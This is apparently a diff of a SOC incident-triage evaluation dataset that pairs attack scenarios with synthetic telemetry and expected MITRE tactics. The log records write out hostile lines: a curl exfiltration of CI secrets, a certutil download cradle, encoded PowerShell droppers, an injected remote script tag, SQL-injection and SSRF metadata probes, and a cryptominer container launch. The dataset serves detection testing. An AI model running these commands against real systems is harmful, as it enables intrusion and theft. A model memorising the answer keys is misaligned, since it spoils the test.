+ "WIN-DEVOPS-LT",
"1M PPS"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://WIN-DEVOPS-LT/",
+ "status_code": 503,
+ "pps": 1120000,
+ "packet_type": "TCP-SYN",
+ "edge_mitigation": "engaged",
+ "duration_secs": 720
+ }
]
},
{
"id": "INC-EVAL-044",
+ "template_id": "insider-mailbox-export",
+ "template_index": 43,
"title": "Insider preparing departure: large mailbox export by [email protected]",
- "description": "[email protected] exported full mailbox PST (8 GB) from WIN-DC-PRIMARY. HR flag: notice given last week.",
+ "description": "[email protected] exported full mailbox PST (8 GB) from AZURE-VM-FIN-001. HR flag: notice given last week.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -970,13 +2009,28 @@
"insider",
"departure",
- "WIN-DC-PRIMARY"
+ "AZURE-VM-FIN-001"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-MailboxExportRequest",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Mailbox": "[email protected]",
+ "FilePath": "\\\\AZURE-VM-FIN-001\\export\\[email protected]"
+ },
+ "Bytes": 8300000000
+ }
]
},
{
"id": "INC-EVAL-045",
+ "template_id": "office-vsto-addin",
+ "template_index": 44,
"title": "Malicious Office add-in installed for [email protected]",
- "description": "Office VSTO add-in registered under HKCU for [email protected] on GCP-GKE-NODE-04; loads on every Outlook startup; beacons to 192.168.1.100.",
+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-EXCHANGE-01; loads on every Outlook startup; beacons to 185.220.101.7.",
"expected_tactics": [
"TA0003",
"TA0011"
@@ -992,14 +2046,39 @@
"vsto",
"outlook",
- "GCP-GKE-NODE-04",
- "192.168.1.100"
+ "WIN-EXCHANGE-01",
+ "185.220.101.7"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "WIN-EXCHANGE-01",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater",
+ "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-EXCHANGE-01",
+ "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",
+ "DestinationIp": "185.220.101.7",
+ "DestinationPort": 443
+ }
]
},
{
"id": "INC-EVAL-046",
- "title": "GitHub PAT leaked and abused from 198.51.100.23",
- "description": "Personal access token belonging to [email protected] used from 198.51.100.23 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",
+ "template_id": "github-pat-leak",
+ "template_index": 45,
+ "title": "GitHub PAT leaked and abused from 185.220.101.7",
+ "description": "Personal access token belonging to [email protected] used from 185.220.101.7 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",
"expected_tactics": [
"TA0006",
"TA0009"
@@ -1015,14 +2094,36 @@
"pat",
"token",
"private repo",
- "198.51.100.23"
+ "185.220.101.7"
+ ],
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "git.clone",
+ "actor": "[email protected]",
+ "actor_ip": "185.220.101.7",
+ "repo_count": 14,
+ "programmatic_access_type": "personal_access_token",
+ "user_agent": "git/2.40.0"
+ },
+ {
+ "source": "github_audit",
+ "action": "push",
+ "actor": "[email protected]",
+ "repo": "[email protected]/dotfiles",
+ "visibility": "public",
+ "file_changed": ".env",
+ "secret_detected": "github_pat_*"
+ }
]
},
{
"id": "INC-EVAL-047",
- "title": "EC2 instance metadata service abused on WIN-DC-SECONDARY",
- "description": "IMDSv1 abused on WIN-DC-SECONDARY; temporary IAM credentials for role exfilled to 45.142.122.111. CloudTrail shows AssumeRole from external.",
+ "template_id": "ec2-imds-credential-theft",
+ "template_index": 46,
+ "title": "EC2 instance metadata service abused on GCP-GKE-NODE-04",
+ "description": "IMDSv1 abused on GCP-GKE-NODE-04; temporary IAM credentials for role exfilled to 198.51.100.23. CloudTrail shows AssumeRole from external.",
"expected_tactics": [
"TA0006",
"TA0004"
@@ -1038,14 +2139,39 @@
"metadata",
"iam credentials",
"AssumeRole",
- "WIN-DC-SECONDARY",
- "45.142.122.111"
+ "GCP-GKE-NODE-04",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app",
+ "status_code": 200,
+ "src_host": "GCP-GKE-NODE-04",
+ "imds_version": "v1"
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "AssumeRole",
+ "eventSource": "sts.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "198.51.100.23",
+ "userIdentity": {
+ "type": "AssumedRole",
+ "principalId": "AIDA:role-app",
+ "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"
+ },
+ "userAgent": "aws-cli/2.13"
+ }
]
},
{
"id": "INC-EVAL-048",
- "title": "Vendor admin password reset abuse for [email protected]",
- "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 203.0.113.45. Token claimed within 90 seconds.",
+ "template_id": "helpdesk-password-reset-abuse",
+ "template_index": 47,
+ "title": "Vendor admin password reset abuse for [email protected]",
+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 185.220.101.7. Token claimed within 90 seconds.",
"expected_tactics": [
"TA0001",
"TA0006"
@@ -1060,14 +2186,34 @@
"password reset",
"social engineering",
"helpdesk",
- "203.0.113.45"
+ "185.220.101.7"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Reset user password.",
+ "UserId": "[email protected]",
+ "TargetUserId": "[email protected]",
+ "ClientIP": "10.0.0.50"
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "185.220.101.7",
+ "resultType": 0,
+ "seconds_after_reset": 87
+ }
]
},
{
"id": "INC-EVAL-049",
- "title": "OAuth refresh-token theft for [email protected]",
- "description": "Refresh token for [email protected] replayed from 91.134.231.15. Granted access to mailbox + OneDrive without re-prompt.",
+ "template_id": "oauth-refresh-token-theft",
+ "template_index": 48,
+ "title": "OAuth refresh-token theft for [email protected]",
+ "description": "Refresh token for [email protected] replayed from 172.16.50.7. Granted access to mailbox + OneDrive without re-prompt.",
"expected_tactics": [
"TA0006"
],
@@ -1082,12 +2228,26 @@
"replay",
"onedrive",
"mailbox",
- "91.134.231.15"
+ "172.16.50.7"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "172.16.50.7",
+ "resultType": 0,
+ "authenticationProtocol": "oAuth2",
+ "grantType": "refresh_token",
+ "resourceDisplayName": "Microsoft Graph"
+ }
]
},
{
"id": "INC-EVAL-050",
+ "template_id": "malicious-container-image",
+ "template_index": 49,
"title": "Container image with embedded backdoor pulled by AWS-EC2-PROD-API",
"description": "Image registry/repo:malicious-backdoor pulled by AWS-EC2-PROD-API. Layer scan flagged embedded netcat reverse-shell binary.",
"expected_tactics": [
@@ -1106,12 +2266,46 @@
"backdoor",
"netcat",
"AWS-EC2-PROD-API"
+ ],
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "system:serviceaccount:default:deploy"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "image": "registry.local/repo:malicious-backdoor"
+ }
+ ]
+ }
+ },
+ "node": "AWS-EC2-PROD-API"
+ },
+ {
+ "source": "edr",
+ "rule": "Image scan: embedded netcat reverse-shell binary",
+ "severity": "high",
+ "Computer": "AWS-EC2-PROD-API",
+ "image": "registry.local/repo:malicious-backdoor",
+ "cve_layer_count": 2
+ }
]
},
{
"id": "INC-EVAL-051",
- "title": "Outlook rule auto-forwarding mail from [email protected]",
- "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 10.0.99.42. Linked to LockBit 3.0.",
+ "template_id": "outlook-auto-forward-rule",
+ "template_index": 50,
+ "title": "Outlook rule auto-forwarding mail from [email protected]",
+ "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 203.0.113.45. Linked to MagicWeb.",
"expected_tactics": [
"TA0006",
"TA0009"
@@ -1126,15 +2320,32 @@
"outlook rule",
"forward",
"mail",
- "10.0.99.42",
- "LockBit 3.0"
+ "203.0.113.45",
+ "MagicWeb"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Sync",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true,
+ "MarkAsRead": true
+ },
+ "threat_actor": "MagicWeb"
+ }
]
},
{
"id": "INC-EVAL-052",
- "title": "Linux journald log tampering on WIN-HR-DESKTOP",
- "description": "journalctl --rotate --vacuum-time=1s observed on WIN-HR-DESKTOP by [email protected]; recent journal entries purged. Indicator removal.",
+ "template_id": "linux-journald-tampering",
+ "template_index": 51,
+ "title": "Linux journald log tampering on K8S-PROD-CLUSTER",
+ "description": "journalctl --rotate --vacuum-time=1s observed on K8S-PROD-CLUSTER by [email protected]; recent journal entries purged. Indicator removal.",
"expected_tactics": [
"TA0005"
],
@@ -1147,14 +2358,29 @@
"journalctl",
"log tampering",
"vacuum",
- "WIN-HR-DESKTOP",
+ "K8S-PROD-CLUSTER",
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/journalctl",
+ "a0": "journalctl",
+ "a1": "--rotate",
+ "a2": "--vacuum-time=1s",
+ "hostname": "K8S-PROD-CLUSTER",
+ "user": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-053",
- "title": "Compromised CI runner on WIN-DEVOPS-LT pushing to production",
- "description": "Self-hosted CI runner WIN-DEVOPS-LT compromised. Job triggered from PR injected secret exfil step; secrets posted to 172.16.50.7.",
+ "template_id": "compromised-ci-runner",
+ "template_index": 52,
+ "title": "Compromised CI runner on AZURE-VM-FIN-001 pushing to production",
+ "description": "Self-hosted CI runner AZURE-VM-FIN-001 compromised. Job triggered from PR injected secret exfil step; secrets posted to 192.168.1.100.",
"expected_tactics": [
"TA0001",
"TA0006",
@@ -1171,14 +2397,39 @@
"self-hosted",
"secret",
"exfil",
- "WIN-DEVOPS-LT",
- "172.16.50.7"
+ "AZURE-VM-FIN-001",
+ "192.168.1.100"
+ ],
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "workflow_run.requested",
+ "workflow": "deploy.yml",
+ "actor": "external-contrib",
+ "repository": "aisoc/web",
+ "event": "pull_request",
+ "runner": "AZURE-VM-FIN-001"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/curl",
+ "a1": "-X",
+ "a2": "POST",
+ "a3": "https://192.168.1.100/exfil",
+ "hostname": "AZURE-VM-FIN-001",
+ "user": "ci-runner",
+ "secret_detected": true
+ }
]
},
{
"id": "INC-EVAL-054",
+ "template_id": "vpn-new-geography",
+ "template_index": 53,
"title": "Suspicious VPN login from new geography for [email protected]",
- "description": "VPN login for [email protected] from 192.168.1.100 (new country, no prior history). Subsequent lateral SMB scan from VPN range to GCP-GKE-NODE-04.",
+ "description": "VPN login for [email protected] from 10.0.99.42 (new country, no prior history). Subsequent lateral SMB scan from VPN range to LIN-K8S-NODE01.",
"expected_tactics": [
"TA0001",
"TA0008"
@@ -1195,14 +2446,37 @@
"lateral",
"smb scan",
- "192.168.1.100",
- "GCP-GKE-NODE-04"
+ "10.0.99.42",
+ "LIN-K8S-NODE01"
+ ],
+ "telemetry": [
+ {
+ "source": "vpn",
+ "action": "login_success",
+ "user": "[email protected]",
+ "src_ip": "10.0.99.42",
+ "geo_country": "UA",
+ "first_login_country": true
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "LIN-K8S-NODE01",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\IPC$",
+ "IpAddress": "10.0.99.42",
+ "EventCount": 128
+ }
]
},
{
"id": "INC-EVAL-055",
- "title": "Privileged command run as service account on LIN-K8S-NODE01",
- "description": "Service account [email protected] (no interactive use expected) ran privileged net.exe + wevtutil cl Security on LIN-K8S-NODE01. Anomalous.",
+ "template_id": "service-account-privileged-command",
+ "template_index": 54,
+ "title": "Privileged command run as service account on WIN-PROD-WEB02",
+ "description": "Service account [email protected] (no interactive use expected) ran privileged net.exe + wevtutil cl Security on WIN-PROD-WEB02. Anomalous.",
"expected_tactics": [
"TA0005",
"TA0006"
@@ -1217,14 +2491,29 @@
"service account",
"wevtutil",
"log clear",
- "LIN-K8S-NODE01"
+ "WIN-PROD-WEB02"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security",
+ "LogonType": 5
+ }
]
},
{
"id": "INC-EVAL-056",
- "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
- "description": "Inbound email from 198.51.100.23 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known Lazarus infrastructure.",
+ "template_id": "phishing-macro-email",
+ "template_index": 0,
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "description": "Inbound email from 10.0.99.42 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on LIN-DB-REPLICA; macro spawned cmd.exe and downloaded a stage-2 payload from a known Scattered Spider infrastructure.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -1238,16 +2527,50 @@
"evidence_keywords": [
"phishing email",
"macro",
- "198.51.100.23",
- "WIN-DC-PRIMARY",
+ "10.0.99.42",
+ "LIN-DB-REPLICA",
"stage-2 payload"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "10.0.99.42",
+ "Subject": "Q4 invoice (action required)",
+ "AttachmentNames": [
+ "invoice_q4.docm"
+ ]
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\cmd.exe",
+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
+ "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"
+ },
+ {
+ "source": "edr",
+ "rule": "Office macro spawned cmd.exe",
+ "severity": "high",
+ "Computer": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "threat_actor": "Scattered Spider"
+ }
]
},
{
"id": "INC-EVAL-057",
- "title": "Exploitation of public-facing web app on WIN-FIN-DB01",
- "description": "WAF logs show SQL-injection and SSRF probes from 203.0.113.45 against the application on WIN-FIN-DB01. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
+ "template_id": "webapp-sqli-ssrf-exploit",
+ "template_index": 1,
+ "title": "Exploitation of public-facing web app on AWS-EC2-PROD-API",
+ "description": "WAF logs show SQL-injection and SSRF probes from 172.16.50.7 against the application on AWS-EC2-PROD-API. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
"expected_tactics": [
"TA0001",
"TA0007"
@@ -1263,14 +2586,37 @@
"SQL injection",
"SSRF",
"CVE-2024-1234",
- "WIN-FIN-DB01",
- "203.0.113.45"
+ "AWS-EC2-PROD-API",
+ "172.16.50.7"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://AWS-EC2-PROD-API/search?q=' OR 1=1--",
+ "status_code": 200,
+ "src_ip": "172.16.50.7",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SQLI:1011",
+ "cve": "CVE-2024-1234"
+ },
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://AWS-EC2-PROD-API/proxy?u=http://169.254.169.254/latest/meta-data/",
+ "status_code": 200,
+ "src_ip": "172.16.50.7",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SSRF:2007"
+ }
]
},
{
"id": "INC-EVAL-058",
- "title": "Watering-hole exploit served from internal Confluence by 10.0.99.42",
- "description": "Internal Confluence page injected with malicious JavaScript by 10.0.99.42. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to Emotet epoch 5 TTPs.",
+ "template_id": "confluence-watering-hole",
+ "template_index": 2,
+ "title": "Watering-hole exploit served from internal Confluence by 198.51.100.23",
+ "description": "Internal Confluence page injected with malicious JavaScript by 198.51.100.23. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to APT29 TTPs.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -1285,15 +2631,36 @@
"watering hole",
"drive-by",
"Confluence",
- "10.0.99.42",
- "Emotet epoch 5"
+ "198.51.100.23",
+ "APT29"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://confluence.aisoc.dev/pages/editpage.action?pageId=8472",
+ "status_code": 200,
+ "src_ip": "198.51.100.23",
+ "user_agent": "Mozilla/5.0",
+ "payload_excerpt": "<script src=//198.51.100.23/x.js></script>"
+ },
+ {
+ "source": "edr",
+ "rule": "Browser exploitation: drive-by JavaScript loader",
+ "severity": "high",
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "threat_actor": "APT29"
+ }
]
},
{
"id": "INC-EVAL-059",
- "title": "Supply-chain compromise: malicious npm package on AZURE-VM-FIN-001",
- "description": "CI pipeline on AZURE-VM-FIN-001 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 185.220.101.7. Build artefacts may be tainted.",
+ "template_id": "npm-supply-chain",
+ "template_index": 3,
+ "title": "Supply-chain compromise: malicious npm package on MAC-CFO-LAPTOP",
+ "description": "CI pipeline on MAC-CFO-LAPTOP installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 198.51.100.23. Build artefacts may be tainted.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -1309,14 +2676,46 @@
"npm package",
"event-stream",
"post-install",
- "AZURE-VM-FIN-001",
- "185.220.101.7"
+ "MAC-CFO-LAPTOP",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/node",
+ "a0": "node",
+ "a1": "/tmp/node_modules/event-stream/postinstall.js",
+ "hostname": "MAC-CFO-LAPTOP",
+ "user": "ci-runner"
+ },
+ {
+ "source": "github_audit",
+ "action": "workflow_run.completed",
+ "workflow": "ci.yml",
+ "actor": "dependabot[bot]",
+ "repository": "aisoc/web",
+ "conclusion": "success",
+ "package_added": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "npm post-install reverse shell",
+ "severity": "high",
+ "Computer": "MAC-CFO-LAPTOP",
+ "User": "ci-runner",
+ "dest_ip": "198.51.100.23",
+ "dest_port": 4444
+ }
]
},
{
"id": "INC-EVAL-060",
- "title": "Malicious USB autorun on air-gapped host WIN-EXCHANGE-01",
- "description": "USB device inserted on air-gapped WIN-EXCHANGE-01 by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
+ "template_id": "usb-autorun-airgap",
+ "template_index": 4,
+ "title": "Malicious USB autorun on air-gapped host MAC-LEGAL-LAPTOP",
+ "description": "USB device inserted on air-gapped MAC-LEGAL-LAPTOP by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
"expected_tactics": [
"TA0001",
"TA0009"
@@ -1331,15 +2730,40 @@
"USB",
"autorun",
"air-gapped",
- "WIN-EXCHANGE-01",
+ "MAC-LEGAL-LAPTOP",
"Python stager"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 6416,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "SubjectUserName": "[email protected]",
+ "ClassName": "USB",
+ "DeviceDescription": "SanDisk Cruzer 16GB"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "User": "[email protected]",
+ "Image": "C:\\Python311\\python.exe",
+ "ParentImage": "C:\\Windows\\System32\\rundll32.exe",
+ "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"
+ }
]
},
{
"id": "INC-EVAL-061",
- "title": "OAuth consent phishing targeting [email protected]",
- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 172.16.50.7.",
+ "template_id": "oauth-consent-phish",
+ "template_index": 5,
+ "title": "OAuth consent phishing targeting [email protected]",
+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 172.16.50.7.",
"expected_tactics": [
"TA0001",
"TA0006"
@@ -1354,15 +2778,42 @@
"OAuth consent",
"Mail.Read",
"Files.Read.All",
"172.16.50.7",
"forwarding rule"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Consent to application.",
+ "UserId": "[email protected]",
+ "ApplicationId": "00000003-0000-0ff1-ce00-000000000000",
+ "ConsentedScopes": [
+ "Mail.Read",
+ "Files.Read.All",
+ "offline_access"
+ ]
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Auto-fwd",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true
+ }
+ }
]
},
{
"id": "INC-EVAL-062",
- "title": "Obfuscated PowerShell dropper executed on AWS-EC2-PROD-API",
- "description": "PowerShell dropper executed on AWS-EC2-PROD-API by [email protected]; payload base64-encoded and decoded in-memory. Linked to Cobalt Strike ransomware staging.",
+ "template_id": "powershell-obfuscated-dropper",
+ "template_index": 6,
+ "title": "Obfuscated PowerShell dropper executed on WIN-DC-PRIMARY",
+ "description": "PowerShell dropper executed on WIN-DC-PRIMARY by [email protected]; payload base64-encoded and decoded in-memory. Linked to LockBit 3.0 ransomware staging.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -1377,15 +2828,40 @@
"powershell",
"obfuscated",
"base64",
- "AWS-EC2-PROD-API",
- "Cobalt Strike"
+ "WIN-DC-PRIMARY",
+ "LockBit 3.0"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4104,
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "[email protected]",
+ "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)",
+ "threat_actor": "LockBit 3.0"
+ }
]
},
{
"id": "INC-EVAL-063",
- "title": "Living-off-the-land: certutil download cradle on WIN-FIN-DB01",
- "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-FIN-DB01. cmd.exe was spawned by outlook.exe. Payload downloaded from 198.51.100.23.",
+ "template_id": "certutil-download-cradle",
+ "template_index": 7,
+ "title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",
+ "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 91.134.231.15.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -1400,15 +2876,40 @@
"certutil",
"urlcache",
"outlook.exe",
- "WIN-FIN-DB01",
- "198.51.100.23",
+ "WIN-PROD-WEB02",
+ "91.134.231.15",
"download cradle"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "certutil -urlcache -split -f http://91.134.231.15/p.exe %TEMP%\\p.exe"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "DestinationIp": "91.134.231.15",
+ "DestinationPort": 80,
+ "Protocol": "tcp"
+ }
]
},
{
"id": "INC-EVAL-064",
- "title": "Container runtime abuse: malicious `docker run` on WIN-PROD-WEB02",
- "description": "Unauthenticated Docker API on WIN-PROD-WEB02 exploited from 45.142.122.111. Container with cryptominer spawned. CPU on host saturated to 95%.",
+ "template_id": "docker-runtime-abuse",
+ "template_index": 8,
+ "title": "Container runtime abuse: malicious `docker run` on WIN-FILE-SHARE",
+ "description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 198.51.100.23. Container with cryptominer spawned. CPU on host saturated to 95%.",
"expected_tactics": [
"TA0002",
"TA0001",
@@ -1426,14 +2927,42 @@
"container",
"cryptominer",
"miner",
- "WIN-PROD-WEB02",
- "45.142.122.111"
+ "WIN-FILE-SHARE",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "http://WIN-FILE-SHARE:2375/containers/create",
+ "status_code": 201,
+ "src_ip": "198.51.100.23",
+ "request_body": {
+ "Image": "monero/xmrig",
+ "HostConfig": {
+ "Privileged": true
+ }
+ }
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/docker",
+ "a0": "docker",
+ "a1": "run",
+ "a2": "--privileged",
+ "hostname": "WIN-FILE-SHARE",
+ "user": "root"
+ }
]
},
{
"id": "INC-EVAL-065",
- "title": "Malicious WMI subscription on AWS-EC2-PROD-API",
- "description": "Permanent WMI event subscription created on AWS-EC2-PROD-API by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
+ "template_id": "wmi-event-subscription",
+ "template_index": 9,
+ "title": "Malicious WMI subscription on LIN-BUILD-CI03",
+ "description": "Permanent WMI event subscription created on LIN-BUILD-CI03 by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
"expected_tactics": [
"TA0002",
"TA0003"
@@ -1448,15 +2977,41 @@
"WMI",
"subscription",
"permanent",
- "AWS-EC2-PROD-API",
+ "LIN-BUILD-CI03",
"encoded script"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 19,
+ "Computer": "LIN-BUILD-CI03",
+ "User": "[email protected]",
+ "EventNamespace": "ROOT\\Subscription",
+ "Name": "UpdaterFilter",
+ "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 21,
+ "Computer": "LIN-BUILD-CI03",
+ "Operation": "Created",
+ "Name": "UpdaterConsumer",
+ "Type": "CommandLineEventConsumer",
+ "Destination": "powershell.exe -enc <encoded>"
+ }
]
},
{
"id": "INC-EVAL-066",
- "title": "Registry Run key persistence created by [email protected] on AWS-EC2-PROD-API",
- "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on AWS-EC2-PROD-API. Points to roaming binary signed with revoked cert. Linked to Lazarus.",
+ "template_id": "registry-run-persistence",
+ "template_index": 10,
+ "title": "Registry Run key persistence created by [email protected] on LIN-DB-REPLICA",
+ "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on LIN-DB-REPLICA. Points to roaming binary signed with revoked cert. Linked to Lazarus.",
"expected_tactics": [
"TA0003"
],
@@ -1469,15 +3024,38 @@
"registry run",
"persistence",
"revoked cert",
- "AWS-EC2-PROD-API",
+ "LIN-DB-REPLICA",
"Lazarus"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
